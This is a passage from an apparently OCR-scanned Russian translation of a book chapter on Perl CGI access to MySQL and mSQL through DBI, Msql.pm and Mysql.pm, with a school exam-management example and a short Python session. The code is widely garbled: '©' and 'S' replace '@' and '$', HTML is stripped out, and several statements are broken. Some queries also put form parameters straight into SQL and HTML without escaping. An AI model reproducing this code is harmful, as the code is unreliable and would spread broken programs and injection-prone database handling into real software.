    my $dbh = DBI->connect("DBI:mysql:$db;$server", undef, undef);

    # Если не существует $dbh, значит, попытка соединения с сервером

    # базы данных не удалась. Возможно, сервер не запущен,

    # или не существует указанной базы данных, if (not $dbh) {

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white');

    print <$host

    $db



    Попытка соединения не удалась по следующей причине:
    $DBI::errstr



    END_OF_HTML

    exit(0); }

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white'); print <$host

    $db



    <р>

    Таблицы:



    END_OF_HTML

    # $dbh->listtable возвращает массив таблиц,

    # имеющихся в текущей базе данных.

    my ©tables = $dbh->func( '_ListTables' );

    foreach (@tables) {

    print "
  • $_\n"; }

    print <

    END_OF_HTML

    exit(0);

    И наконец, пример 10- 3 показывает, как вывести все сведения о некоторой таблице.

    Пример 10-3. Программа CGI tabledump.cgi выводит сведения об указанной таблице

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($db,Stable);

    my Soutput = new CGI;

    $server = param('server') or $server = ";

    $db = param('db') or die("He указана база данных !");

    # Соединиться с указанным сервером.

    my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

    # Готовим запрос к серверу, требующий все данные

    # таблицы.

    my $table_data = $dbh->prepare("select * from Stable");

    # Посылаем запрос серверу.

    $table_data->execute;

    # Если возвращаемое значение не определено, таблица не существует

    # или пуста; мы не проверяем, что из двух верно.

    if (not $table_data) {

    print header, startjtml( 'title'=>

    "Данные по $host => $db => Stable", 'BGCOLOR'=>'white');

    prin<

    $host



    $db



    Таблицы'Stable' нет в $db на $host.



    END_OF_HTML

    exit(0); }

    # Теперь мы знаем, что есть данные для выдачи. Сначала выведем

    # структуру таблицы.

    print header, start_html( title'=>"Данные по $host => $db => $table",

    'BGCOLOR'=>'white');

    print <$host

    $db

    $table







    <ТН>Поле<ТН>Тип<ТН>Размер<ТН>МОТ NULL END_OF_HTML

    If $table_data->name возвращает ссылку

    # на массив полей таблицы.

    my ©fields = @{$table_data->NAME};

    # $table_data->type возвращает ссылку на массив типов полей.

    # Возвращаемые типы имеют стандартные обозначения SQL,

    # а не специфические для MySQL.


    my @types = @{$table_data->TYPE};

    # $table_data-> is_not_null возвращает ссылку на массив типа Boolean,

    # указывающий, в каких полях установлен флат 'NOT NULL'.

    my @>not_null = @{$table_data->is_not_null};

    # $table_data->length возвращает ссылку на массив длин полей. Они

    фиксированные

    # для типов INT и REAL, но переменые (заданные при создании

    # таблицы) для CHAR.

    my @length = @{$table_data->length};

    # Все перечисленные выше массивы возвращаются в одном и том же порядке,

    # поэтому $fields[0], $types[0], $ndt_null[0] and $length[0] относятся к одному полю.

    foreach $field (0..$#fields) {

    print "\n";

    print "\n"; }

    print <



    Data




    END_OF_HTML

    # Теперь мы будем построчно перемещаться по данным с помощью DBI::fetchrow_array().

    # Мы сохраним данные в массиве в таком же порядке, как и в информационных

    # массивах (§fields, @types, etc,), которые мы создали раньше.

    while(my(@data)=$table_data->fetchrow_array) {

    print "
  • \n ";

    for (0..$#data) {

    print "
  • $fields[$_] => $data[$_]
  • \n"; }

    print ""; }

    print "END_OF_HTML;





    END_OF_HTML



    Язык программирования Perl превратился из

    Perl

    Язык программирования Perl превратился из инструмента, используемого преимущественно администраторами Unix-систем, в наиболее распространенную платформу разработки для World Wide Web. Perl не предназначался изначально для Web, но простота его использования и мощные функции для работы с текстом сделали естественным его применение для CGI-программирования. Сходным образом, когда mSQL впервые появилась на сцене, исключительные компактность и скорость выполнения сделали ее очень привлекательной для разработчиков Web, которым требовалось обслуживать ежедневно тысячи операций. MySQL со своей высокой скоростью и расширенными возможностями стала еще более привлекательным средством для веб-разработчиков. Естественно поэтому, что был разработан интерфейс Perl к обеим базам - MySQL и mSQL, - объединив таким образом их достоинства.

    Язык программирования Perl превратился из В то время, когда пишется эта книга, существуют два интерфейса между Perl и MySQL с mSQL. Более ранний состоит из специализированных интерфейсов Myaql.pm и Msql.pm, которые работают только с MySQL и mSQL соответственно. Другой, более новый интерфейс является подключаемым модулем в комплекте DBI (DataBase Independent) - независимых от базы данных модулей. DBI является попыткой обеспечить общий Perl API для доступа к любым базам данных и предоставления более высокой переносимости. Интерфейс DBI стал наиболее надежным и стандартным, и разработчики MySQL рекомендуют пользоваться только DBI, поскольку дальнейшая разработка модулей Mysql.pm и Msql.pm прекращена. Однако многие унаследованные системы все еще используют их, поэтому мы расскажем здесь и о них.



    Msql.pm

    Модуль Msql.pm является изначальным интерфейсом Perl к mSQL. Хотя его заменили модули DBI, все же осталось много сайтов, основанных на этом старом интерфейсе. Чтобы продемонстрировать использование Msql.pm, мы продолжим работу с нашим примером "помощника учителя".

    Поскольку нам требуется определить школьные классы, в которых будут проводиться экзамены, рассмотрим таблицу предметов. Ее структура выглядит так:

    CREATE TABLE subject (

    id INT NOT NULL,

    name CHAR(500),

    teacher CHAR(100) )

    CREATE UNIQUE INDEX idxl ON subject (
    id,
    name,

    teacher
    )

    CREATE SEQUENCE ON subject

    Число id является уникальным идентификатором школьного класса, а поля name и teacher являются наименованием курса и фамилией преподавателя соответственно. Все три поля проиндексированы, что ускоряет выполнение запросов. И наконец, мы определили последовательность для таблицы. Эта последовательность генерирует ID.

    CGI-программа для обработки этих данных должна выполнять несколько функций:

  • Находить предмет в базе данных.

  • Выводить найденный предмет.

  • Добавлять в базу данных новый предмет.

  • Изменять параметры предмета в базе данных.

    Используя мощь Perl и mSQL, можно без труда объединить все эти функции в одном файле, subject.cgi. Для каждой из операций мы создадим свою функцию. Центральной частью программы будет своего рода коммутатор, распределяющий поступающие запросы по соответствующим функциям. Сами операции мы опишем позднее.

    #Выбор нужной части сценария осуществляется в зависимости

    # от параметра 'action'.

    # Если 'action' не задан, вызывается функция defaultQ.

    &default if not param('action');

    # Этот прием из Camel 2 имитирует переключатель 'switch' в языке С. foreach[A04] (param('action')) {

    /view/ and do { Sview; last; };
    /add$/ and do { &add; last; };
    /add2/ and do { Sadd2; last; };
    /add3/ and do { &add3; last; };
    /add4/ and do { &add4; last; };
    /schange$/ and do { &schange; last; };
    /schange2/ and do { &schange2; last; };

    /lchange$/ and do { &lchange; last; };

    /Ichange2/ and do { &lchange2; last; };

    /IchangeS/ and do { &lchange3; last; };

    /delete/ and do { Sdelete; last; };

    &default; }

    Msql.pmПункты "add", "schange" и "Ichange" должны иметь завершающий "$", чтобы не быть спутанными со сходными. Если бы не было "$", то "add" соответствовал бы также add2, add3 и add4. Альтернативный прием - поместить "add", "schange" и "Ichange" после всех остальных функций, чтобы вызываться при отсутствии совпадений с предыдущими пунктами. Однако если впоследствии добавятся другие пункты, могут возникнуть ошибки. Третий способ - полностью устранить неоднозначность, используя /^view$/, /*add$/ и т. д. При этом придется ввести несколько больше символов, но возможность ошибки будет полностью устранена.

    Остается лишь проработать детали, реализовав каждую функцию.

    Функция default выводит исходную форму, которую видит пользователь, позволяющую ему выбрать тип операции. Эта функция вызывается, если CGI-программа вызывается без параметров, например, как http://www.myserver.com/teach/subject.cgi, или если параметр ACTION не соответствует ни одной из существующих функций. Можно было бы также создать функцию, выводящую сообщение об ошибке, если параметр ACTION неизвестен.

    sub default {

    print header, start_html('title'=>'Subjects', 'BGCOLOR'=>'white'):

    print "END_OF_HTML;

    Предметы



    <р>Выберите операцию и предмет (если это допустимо).








    END_OF_HTML

    # См. ниже 'sub print_subjects'.

    &print_subjects;

    print "END_OF_HTML;









    HTML

    }

    Основных операций пять: "view" (просмотр), "add" (добавление), "schange" (изменение данных о предмете), "Ichange" ( изменить список классов по предмету) и "delete" (удалить). Например, мы подробно рассмотрим операцию "add". Она разбита на четыре отдельные функции, потому что диалог с пользователем приходится проводить до четырех раз. Для передачи данных от одной формы к другой используются скрытые переменные, пока, в конце концов, не будет создан класс.

    Первая функция порождает форму для ввода начальных сведений о классе, в том числе его названия, имени учителя и количества учащихся.

    sub add {

    my (%fields);

    foreach ('name','size','teacher') {

    if (param($_)) { $fields{$_} = param($_); } else { $fields{$_} = ""; } }

    print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');

    print "END_OF_HTML;

    Add a Subject



    Название предмета:



    Фамилия учителя:



    Число учащихся в классе:















    Перейти назад к главной странице предметов.

    <А HREF=". ">Перейти к домашней странице Помощи учителю.




    END_OF_HTHL

    }

    Функция проверяет, не имеют ли какие-либо поля предустановленные значения. Это придает функции дополнительную гибкость, позволяя использовать ее как шаблон для классов со значениями по умолчанию, возможно, генерируемыми какой-либо другой CGI-программой.

    Значения, полученные в первой части процесса добавления, передаются обратно CGI-программе для использования в функции add2. Функция add2 сначала проверяет, существует ли уже класс. Если существует, то пользователю посылается сообщение об ошибке, и он может изменить название класса.

    Если класс еще не существует, функция проверяет, какое число учащихся введено. Если никакое, то класс создается без учащихся, их можно добавить позднее. Если нее число задано, создается класс и выводится форма, в которую можно ввести данные о каждом учащемся.

    sub add2 {

    my $name = param('name');

    # Нам нужна копия имени, которая кодируется для URL.

    my $enc_name = &cgi_encode($name);

    # Нам также нужна копия имени, которую можно спокойно цитировать для

    # ввода в базу. Msql использует с этой целью функцию Msql::quote().

    my $query_name = $dbh->quote($name);

    # Строим запрос для проверки существования предмета,

    my $query ="select id, name, teacher from subject where name=$query_name";

    #Если пользователь ввел фамилию учителя, отдельно проверяем фамилию,

    # поскольку могут быть два курса с одинаковым названием, но

    # разными учителями.

    if (param('teacher')) {

    $teacher = param('teacher');

    $enc_teacher = &cgi_encode($teacher);

    my $query_teacher = $dbh->quote($teacher);

    $query .= " and teacher=$query_teacher"; }

    # Теперь посылаем запрос серверу mSQL

    my $out = $dbh->query($query);

    ft Проверяем значение $out->numrows, чтобы узнать, были ли возвращены

    # какие-либо строки. Если были, и пользователь не задал параметр 'override'

    # (переопределить), то мы выходим с сообщением, что класс уже

    # существует, и давая пользователю возможность все-таки ввести класс


    # (повторно передав форму с установленным параметром 'override',

    if ($out->numrows and not param('override')) { # Печать страницы 'Класс уже существует'.

    } else {

    # Теперь вводим данные в базу.

    # Сначала нужно выбрать новое число из

    # последовательности для таблицы.

    $out = $dbh->query("select _seq from subject");

    my ($id) = $out->fetchrow;

    # Теперь вводим информацию в базу данных, используя

    # полученное из последовательности число в качестве ID.

    $query = "INSERT INTO subject (id, name, teacher)

    VALUES ($id, '$name', 'Steacher')"; $dbh->query($query);

    # Если пользователь не задал размер класса, выходим

    # с сообщением о том, что пользователь может добавить

    # число учащихся позже, if (not param('size')) {

    # Вывод страницы с сообщением об успехе.

    } else { \

    # Теперь выводим форму, позволяющую пользователю

    # ввести имена всех учащихся в классе.

    print header, start_html('title'=>'Create Class List',

    'BGCOLOR'=>'white'); print <
    <Н1>Создать список класса

    $name

    добавлен в базу данных. Теперь можно ввести фамилии учащихся в этом классе. Добавить или исключить учащихся можно позднее с главной страницы предметов

    <а href="subject.cgi"> .

    <Р>







  • Пoля
    $fields[$field]$types[$field]";

    print $length[$field]

    if $types[$field] eq 'SQL_CHAR';

    print "
    ";

    print 'Y' if ($not_null[$field]);

    print "


    <ТР><ТН><ТН>Имя<ТН>Отчество/Инициал

    <ТН>Фамилия<ТН>мл.,ст.,III,и т.д.



    END_OF_'HTML

    for $i (1.,$size) {

    print <



    END_OF_HTML

    }

    print <







    END_OF_HTML

    } } }

    Обратите внимание, что функция использовала три копии параметра name. Для использования в составе URL все специальные символы должны быть заменены особым образом. Для этого в коде примера используется функция cgi_encode . Кроме того, чтобы ввести строку в базу данных mSQL, вместо некоторых символов нужно использовать управляющие символы. Интерфейс MsqlPerl предоставляет для этого функцию quote, доступную через любой описатель базы данных. Наконец, при выводе на экран используется непреобразованный вариант переменной.

    При добавлении класса в базу данных удобно использовать такую функцию mSQL, как последовательности. Вспомним, что в таблице class была определена последовательность. Ее значения используются в качестве уникального идентификатора для каждого класса. Благодаря этому два класса могут иметь одинаковые названия (или одного и того же учителя и т. д.) и все же быть различными. Это также окажется удобным при дальнейших изменениях в классе. Пока между формами передается уникальный ID, все прочие данные о классе можно свободно изменять.

    Наконец, отметим, что выводимая этой функцией форма для ввода учащихся генерируется динамически. Для вывода формы с правильным числом записей используется введенное раньше число учащихся. Помните, что CGI-программа полностью управляет генерируемым HTML. Любая часть, включая формы, может быть создана программным образом.

    Если пользователь не ввел никаких учащихся, то работа на этом закончена. Позднее для добавления учащихся можно воспользоваться функцией модификации. Однако если требуется ввести учащихся, данные о них передаются функции add3, как показано ниже:

    sub add3 {

    if (not param('id')) { &end("Требуется числовой ID"); }

    my $id = param( 'id');

    my ©list = &find_last_student;


    my ($ref_students,$ref_notstudents) = &find_matching_students(@list);

    @students = @$ref_students

    if $ref_students;

    @notstudents = @$ref_notstudents

    if $ref_notstudents;

    if (@notstudents) {

    # Вывести форму, говорящую пользователю, что в списке

    # есть несуществующие учащиеся. Пользователь может автоматически

    # создать учащихся или вернуться и исправить опечатки.

    } else {

    &update_students($id,@students);

    #Вывести форму успешного завершения работы.

    } }

    В этой функции основная часть работы выполняется другими функциями. Это обусловлено тем, что в других частях CGI-программы возникают сходные задачи, которые полезно решать с помощью совместно используемых функций. Первая такая функция - f ind_last_student , которая изучает данные формы и возвращает список имеющихся в форме номеров, не связанных с ID в базе данных, всех введенных пользователем учащихся. Это необходимо, поскольку, как упоминалось раньше, предыдущая форма генерируется динамически и нет возможности непосредственно узнать, сколько учащихся включено.

    sub find_last_student {

    my @params = param; my @list = (); foreach (@params) {

    next if not param($_);

    # Исключить все 'пустые' поля

    if (/-(first|middle|last|ext)(\d+)/) {

    my $num = $2;

    if (not grep(/"$num$/,@list)) { push(@list,$num); } } }

    @list = sort { $a <=> $b} @list; return @list;

    }

    Обратите внимание, что функция возвращает все числа, а не только последнее, которое, предположительно, будет числом введенных учащихся. Хотя предыдущая форма вывела число запрошенных пользователем записей, нет гарантии, что пользователь заполнил их все. Он мог пропустить строку, которая не будет включена в данные формы. Поэтому необходимо выявить все введенные числа. Результаты работы этой функции пересылаются следующей вспомогательной функции find_matching_students , как показано ниже:

    sub find_matching_students { my §list = @_;

    my ($i,@students,@notstudents); §students = ();

    @notstudents = ();

    if (@list) {


    foreach $i (@list) {

    my @query = ();

    # Строим запрос, который ищет заданного учащегося,

    my $query = "select id, subjects from student where ";

    foreach ('first','middle','last', 'ext') {

    if (param("$_$i")) {

    my $temp = param("$_$i");

    # В mSQL и MySQL одиночные кавычки служат ограничителями

    # имен полей, и им должен предшествовать

    # управляющий символ "\",

    # который управляет и сам собой,

    # чтобы быть введенным буквально.

    $temp =~ s/7\\'/g;

    push(@query, "$_ = '$temp'"); } }

    $query = join(" and ",§query);

    # Посылаем запрос базе данных.

    my $out = $dbh->query($query);

    # Если база данных ничего не возвращает, добавляем

    # учащегося к массиву @notstudents.

    if (not $out->numrows) {

    push(@notstudents, [ param("first$i"), param("middle$i"), param("last$i"), param("ext$i") ]);

    # В противном случае добавляем студента в массив ©students.

    } else {

    my ($id,$subjects) = $out->fetchrow;

    push(@students,[$id,$subjects]); } } }

    return(\§students,\@notstudents); }

    Эта функция пробегает по всем заданным именам учащихся и проверяет, есть ли уже они в базе данных. Если они существуют, данные о них записываются в массив с именем ©students , в противном случае - в массив @notstudents . Данные о каждом учащемся хранятся в безымянном массиве, создавая своего рода объект учащегося. В итоге функция возвращает ссылки на оба массива. Она не может возвратить данные как обычный массив, поскольку будет невозможно определить, где закончился один массив и начался другой.

    И последняя вспомогательная функция - update_students , которая добавляет класс к списку классов для каждого существующего учащегося.

    sub update_students {

    my $id = shift;

    my ©students = @_;

    foreach (©students) {

    my($sid, $subjects)=©$_;

    if (not Ssubjects) { Ssubjects = ":$id:"; }

    elsif (Ssubjects !" /:$id:/)

    { Ssubjects .= "$id:"; }


    my $query = "update sti/dent set subjects='Ssubjects'

    where id=$id";

    $dbh->query($query); } }

    Эта функция осуществляет запрос к таблице student, совершенно независимой от таблицы subject. В пределах одной CGI-программы можно работать с любым числом различных таблиц одной базы данных. Можно переключаться с одной базы данных на другую, но одновременно может быть активна только одна база данных. Эта функция извлекает список предметов для каждого учащегося и добавляет к нему новый предмет, если его еще нет в списке.

    Функция обрабатывает все возможные случаи, кроме одного, когда к предмету приписаны учащиеся, которых еще нет в таблице student. В этом случае список новых учащихся передается функции add4, как показано ниже:

    sub add4 {

    #получить список ©students и @notstudents

    &update_students($id,@students) if @students;

    &insert_students($id,@notstudents) if @notstudents;

    # Вывести страницу успешного завершения. }

    Эта функция разделяет список учащихся на существующих и несуществующих тем же способом, что и add3. Затем она обновляет список существующих учащихся с помощью функции update_students , показанной раньше. Несуществующие учащиеся посылаются новой вспомогательной функции insert_students :

    sub insert_students { foreach $i (@list) {

    # Производится выбор очередного числа из последовательности,

    # определенной в таблице. Зто число используется как ID учащегося,

    my $out = $dbh->query('select _seq from student');

    my($sid) = $out->fetchrow;

    # Для включения в базу данных все строки

    # нужно процитировать.

    my ($first, $middle, $last, $ext) = (

    $dbh->quote(param("first$i")),

    $dbh->quote(param("middle$i")),

    $dbh->quote(param("last$i")),

    $dbh->quote(param("ext$i")) );

    my $query = "insert into student (id, first, middle, last,

    ext, subjects) VALUES ($sid, $first, $middle,

    $last, $ext, ':$id:')";

    $dbh->query($query); } }

    И эта функция обращается к таблице student, а не subject. Из последовательности, определенной в таблице student, извлекаются ID для новых учащихся, затем учащиеся вводятся в таблицу с этими ID.



    MysqIPerl

    Монти Видениус, автор MySQL, написал также и интерфейс Perl к MySQL, Mysql.pm. Он основывался на модуле Msql.pm для mSQL, поэтому интерфейсы двух модулей почти идентичны. На практике мы недавно преобразовали целый сайт из mSQL в MySQL, выполнив команду "perl -e 's/^Msql/Mysql/>> *.cgi" в каждом каталоге, содержащем CGI. Это составило 95% всей работы. Разумеется, при этом вы не получаете преимуществ MySQL, но таким путем можно быстро и легко встать на путь использования MySQL. Mysql.pm входит составной частью в пакет msql-mysql-modules Йохена Видмана (Jochen Wiedmann).

    MysqIPerlОдним из самых больших различий между MySQL и mSQL является их работа с последовательностями. В mSQL последовательность определяется в таблице командой CREATE SEQUENCE on tablename . Значение последовательности можно получать после этого, как обычное поле таблицы командой SELECT _se.q from tablename . В MySQL к первичному ключу добавляется флаг AU-TO_INCREMENT . При попытке ввода null в это поле оно автоматически инкрементируется. Как MySQL, так и mSQL допускают в каждой таблице только одну последовательность. Подробное обсуждение последовательностей в MySQL и mSQL см. в главе 6 "Диалект SQL, используемый в MySQL и mSQL".

    Чтобы показать некоторые функции Mysql.pm, вернемся к примеру с экзаменами. Разобравшись с subject.cgi, займемся таблицей сведений об учащихся. Ее структура такова:

    CREATE TABLE student (

    id INT NOT NULL auto_increment,

    first VARCHAR(50),

    middle VARCHAR(50),

    last VARCHAR(50),

    ext VARCHAR(50),

    subjects VARCHAR(100),

    age INT,

    sex INT,

    address BLOB,

    city VARCHAR(50),

    state VARCHAR(5),

    zip VARCHAR(10),

    phone VARCHAR(10),

    PRIMARY KEY (id)
    )

    В этой таблице находятся все данные, используемые программой subject, cgi, a также другие сведения, которые относятся к учащемуся. Программа student.cgi, работающая с этой таблицей, должна выполнять все те функции, которые программа subject.cgi выполняла в отношении таблицы subject.

    MysqIPerlНельзя работать с базой данных mSQL через модуль Mysql.pm, как и с базой MySQL через Msql.pm. Программа stu-dent.cgi предполагает, что таблица предметов находится в базе данных MySQL. Аналогично, программа subject.cgi рассчитывает на mSQL-версию таблицы учащихся.


    Чтобы продемонстрировать, как работает Mysql.pm, мы подробно изучим ту часть student.cgi, которая позволяет пользователю изменять сведения об учащемся. Так же как операция "add" (добавление) в примере для Msql.pm была разбита на четыре отдельные функции, операция "change" (изменение) разбита здесь на три отдельные функции.

    Первая функция - изменения, выводит форму, позволяющую пользователю найти учащегося, данные о котором нужно изменить:

    sub change {

    print header, start_html('title'=>'Поиск учащегося для изменения денных'

    'BGCOLOR'=>'white');

    &print_form('search2', Поиск учащегося для изменения данных',1);

    print <











    END_OF_HTML }

    Форма, используемая для поиска учащегося с целью изменения, настолько сходна с формами для просмотра данных и для добавления, что во всех трех случаях используется одна функция, print_form , показанная ниже:

    sub print_form {

    my ($action,$message,$any) = @_;

    print <




    $message



    END_OF_HTML

    if ($any) {

    print <Поиск

    выбранные вами.

    END_OF_HTML

    У

    print <
    Имя:



    Отчество:



    Фамилия:



    МЛ./III/И т.д..:



    Адрес:




    Город:



    Штат:



    Почтовый индекс:



    Телефон:



    Возраст:



    Пол:





    Записан на:

    END_OF_HTML

    &print_subjects("MULTIPLE SIZE=5");

    }

    Благодаря использованию трех параметров эта функция настраивает шаблон формы так, что может использоваться в самых различных целях. Обратите внимание, что эта вспомогательная функция использует другую вспомогательную функцию, print_subjects . Последняя выводит список всех имеющихся предметов из таблицы subject, как в примере Msql.pm.

    sub print_subjects { my $modifier = "";

    $modifier = shift if @_;

    print qq%\n";

    }

    Параметры поиска, введенные в первую форму, передаются функции search2, фактически осуществляющей поиск. На самом деле это функция, написанная для поиска учащегося, данные о котором нужно показать. Поскольку она делает как раз то, что нам требуется, мы можем ею воспользоваться, если сообщим ей, что после поиска хотим перейти

    к следующей функции изменения, change2. Для этого мы ввели в форму скрытую переменную subaction=change2 . Она сообщает search2, куда отправить пользователя дальше:

    sub search2 {

    my $out = $dbh->query(&make_search_query);


    my $hits = $out->numrows;

    my $subaction = "view";

    $subaction = param('subaction')

    if param('subaction');

    print header, start_html('title'=>'Результаты поиска учащихся', 'BGCOLOR'=>'white');

    if (not Shits) {

    print <
    <Н1>Учащихся не найдено



    He найдено учащихся, удовлетворяющих вашему критерию.

    END_OF_HTML } else {

    print <

    Найдено $hits учащихся

    <р>



    END_OF_HTML

    while(my(%fields)=$out->fetchhash) {

    print qq%


  • $fields{'first'} $fields{'middle'} $fields{'last'}%;

    print ", $fields{'ext'}" if $fields{'ext'};

    print "\n
    "; } }

    print <
    HcKaTb снова.



    END_OF_HTML }

    С помощью функции make_search_query эта функция сначала ищет учащихся, отвечающих критериям поиска. Затем она выводит список найденных записей, среди которых пользователь может сделать выбор. ID выбранной записи передается функции change2, как показано ниже:

    sub change2 {

    my $out = $dbh->query

    ("select * from student where id=$id");

    my($did,Ifirst,$middle,$last,

    $ext,Ssubjects.Sage,$sex,$address,

    $city,$state,$zip,$phone) = $out->fetch row;

    my ©subjects = split(/:/,$subjects);

    shift,©subjects;

    my $name = "$first $tmiddle $last";

    if ($ext) { $name .= ", $ext"; }

    print header, start_html('title'=>"$name", 'BGCOLOR'=>'white');

    print <

    $name









    Имя:




    Отчество:



    Фамилия:



    МЛ./III/И т.д.



    Адрес:



    Город:



    Штат:



    Почтовый индекс:



    Телефон:




    Возраст:



    Пол:

    END_OF_HTML

    my %sexes = ( '1' => 'Мужской',

    '2' => 'Женский' );

    print popup_menu('name'=>'Пол', 'values'=>["!', '2'], 'default'=>"$sex", ' labels'=>\%sexes);

    print <
    Записан на:


    END_OF_HTML

    my @ids = ();

    my %subjects = ();

    my $out2 = $dbh->query("select id, name from subject order by name");

    while(my($id,$subject)=$out2->fetchrow) { push(@ids,Sid);

    $subjects{"$id"} = $subject; }

    print scrolling_list('name'=>'subjects', 'values'=>[@ids], 'default'=>[@subjects], 'size'=>5, 'multiple'=>'true', 'labels'=>\%subjects);

    print <
    <р>









    END_OF_HTML

    }

    Главная задача этой функции - вывести форму, очень похожую на ту, которую порождает print^from. Однако значениями по умолчанию в этой форме должны быть те, которые соответствуют выбранному учащемуся. В результате пользователь может редактировать одни поля, оставляя другие неизменными.


    Несколько функций, предоставляемых модулем CGI.pm, оказываются очень удобными при выводе формы со значениями, установленными по умолчанию, особенно функция CGI: :scrolling_list , выводящая блок HTML Предмет: END_OF_HTML
    my @ids = (); my %subjects = ();

    my $out2 = $dbh->prepare("select id,name from subject order by name" $out2->execute;

    # DBI: :fetchrow_array() совершенно аналогична Msql: :fetchrow()
    while(my($id,$subject)=$out2->fetchrow_array) {
    push(@ids,Sid); $subjects{"$id"} = Ssubject; }

    print popup_menu('name'=>'subjects', 'values'=>[@ids], 'default'=>$subject, 'labels'=>\%subjects);
    print <
    Число вопросов:
    Название или идентификатор (например, дата) экзамена:


    <Р>




    END_OF_HTML }

    Эта функция выводит форму, позволяющую пользователю выбрать предмет для экзамена, а также количество вопросов и название. Для вывода списка имеющихся предметов выполняется запрос к таблице предметов. При выполнении в DBI запроса SELECT он должен быть сначала подготовлен, а затем выполнен. Функция DBI::prepare полезна при работе с некоторыми серверами баз данных, позволяющими осуществить операции над подготовленными запросами, прежде чем выполнить их. Для MySQL и mSQL это означает лишь запоминание запроса до вызова функции DBI:: execute .


    Результаты работы этой функции посылаются функции add2, как по-: казано ниже:

    sub add2 {

    my Ssubject = param('subjects');

    [

    my $num = param('num');

    $name = param('name') if param('name');

    my $out = $dbl"prepare("select name from subject where id=$subject");

    $out->execute;

    my (Ssubname) = $out->fetchrow_a.rray;

    print header, start_html('title'=>"Создание экзамена по предмету $subname", ' BGCOLOR'=>'white');

    print <

    Создание экзамена по предмету $subname

    $name















    Введите количество баллов за каждый правильный ответ.

    Сумма баллов не обязательно должна равняться 100.

    <Р> END_OF_HTML

    for (1..$num) {

    print qq%$_: %; if (not.$_ % 5)
    { print "
    \n"; } } print <


    Введите текст экзамена:





    END_OF_HTML }

    Эта функция динамически генерирует форму для экзамена, основываясь на параметрах, введенных в предыдущей форме. Пользователь может ввести количество баллов для каждого вопроса экзамена и полный текст самого экзамена. Выходные данные этой функции посылаются завершающей функции add3, как показано ниже:

    sub add3 {

    my $subject = para'm( 'subjects');
    my $num = param('num');

    $name = param('name') if param('name');

    my $qname;

    ($qname = $name) =" s/'/\\'/g;

    my $q1 = "insert into test (id, name, subject, num) values ( '.'-, '$qname', $subject, $num)";


    my Sin = $dbh->prepare($q1); $in->execute;

    # Извлечем значение ID , которое MySQL создал для нас
    my $id = $in->insertid;

    my $query = "create table t$id ( id INT NOT NULL,

    my $def = "insert into t$id values ( 0, ";

    my $total = 0;

    my @qs = grep(/^q\d+$/,param);

    foreach (@qs) {

    $query .= $_ . " INT,\n";

    my $value = 0;

    $value = param($_) if param($_);

    $def .= "lvalue, ";

    $total += $value; }

    $query .= "total INT\n)"; $def .=-"$total)";

    my $in2 = $dbh->prepare($query);

    $in2->execute;

    my $in3 = $dbh->prepare($def);

    $in3->execute;

    # Обратите внимание, что мы запоминаем экзамены в отдельных файлах. Это

    # полезно при работе с mSQL, поскольку он не поддерживает BLOB.
    # (Тип TEXT, поддерживаемый в mSQL 2, можно использовать,

    # но это неэффективно.)

    # Поскольку мы используем MySQL, можно с таким же успехом

    # поместить весь экзамен в BLOB.
    open(TEST,">teach/tests/$id") or die("A: $id $!");
    print TEST param('test'), "\n";

    close TEST;

    print header, start_html('title'=>'Экзамен создан', 'BGCOLOR'=>'white');

    print < <Н1>Экзамен создан

    Экзамен создан.

    <р>

    <А HREF=".">Перейти на домашнюю страницу 'В помощь учителю'.

    <А HREF="test.cgi">nepeimi на главную страницу экзаменов.

    <А HREF="test.cgi?actio,n=add">Добавить следующий экзамен.



    END_OF_HTML

    }

    Теперь введем информацию об экзамене в базу данных. При этом мы шагнем дальше обычного ввода данных, который видели до сих пор. Данные по экзаменам достаточно сложны, поэтому каждый экзамен лучше хранить в собственной таблице. Вместо добавления данных в существующую таблицу мы создадим совершенно новую таблицу для каждого экзамена. Сначала мы создадим ID для нового экзамена с помощью функции автоинкрементирования MySQL и введем название и ID экзамена в таблицу с именем test. Эта таблица является просто указателем на экзамены, по ней можно легко найти ID любого экзамена. Затем мы создадим одновременно два запроса. Первый будет запросом CREATE TABLE, который определит наш новый экзамен. Второй запрос будет иметь тип INSERT и запишет в нашу таблицу максимальные баллы по каждому вопросу. Эти запросы будут отправлены серверу базы данных, что завершит весь процесс (после вывода пользователю страницы с сообщением об успешном завершении). Позднее, после сдачи экзамена учащимися, для каждого учащегося будет создана запись в таблице экзамена. Эти записи могут быть сравнены с максимальными значениями для определения оценки учащегося.



    Динамическое соединение с базами данных

    Тот метод API, который мы до сих пор обсуждали в этой главе, дает, в сущности, все необходимое для простых и наиболее часто встречающихся повседневных задач выборки, вставки, обновления и удаления данных в базе. В некоторых более сложных приложениях может оказаться, что вы ничего (или чего-нибудь) не знаете о базе данных, с которой соединяетесь и которой посылаете команды. Хотя оба API поддерживают метаданные уровня базы данных - информацию времени выполнения о базе данных, с которой соединены, - только MySQL API обеспечивает полную поддержку динамически генерируемых вызовов SQL, включая метаданные результирующего набора.

    Описатели команд в MySQL

    Как уже отмечалось, в MySQL есть два средства обработки запросов. Более простая форма возвращает результирующий набор в виде списка списков. Более сложная форма возвращает описатель команды.

    Описатель команды представляет результаты обработки запроса к MySQL через метод query() (в противоположность использованию метода do()). Пример 11-2 показывает, как можно использовать описатель команды для получения информации времени выполнения о запросе или команде обновления.

    Пример 11-2. Динамический доступ к базе данных MySQL с помощью описателя команды

    [7:20pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on- sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL,con.nect();

    >>> db.selectdb('db_test-);

    >>> result - db.query("INSERT INTO test(test_id,test_val) VALUES(4,

    'Bing!')");

    >>> print result.affectedrows();

    1

    >>> result = db.query("SELECT * FROM test");

    >>> print result. numrows();

    3

    >>> print result.fields();

    [['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string',

    100, "]]

    >>> print result, fetchrows(-l);

    [[1, 'This is a test.'], [2, 'This is a test.'], [4. 'Bing!']]

    >>>

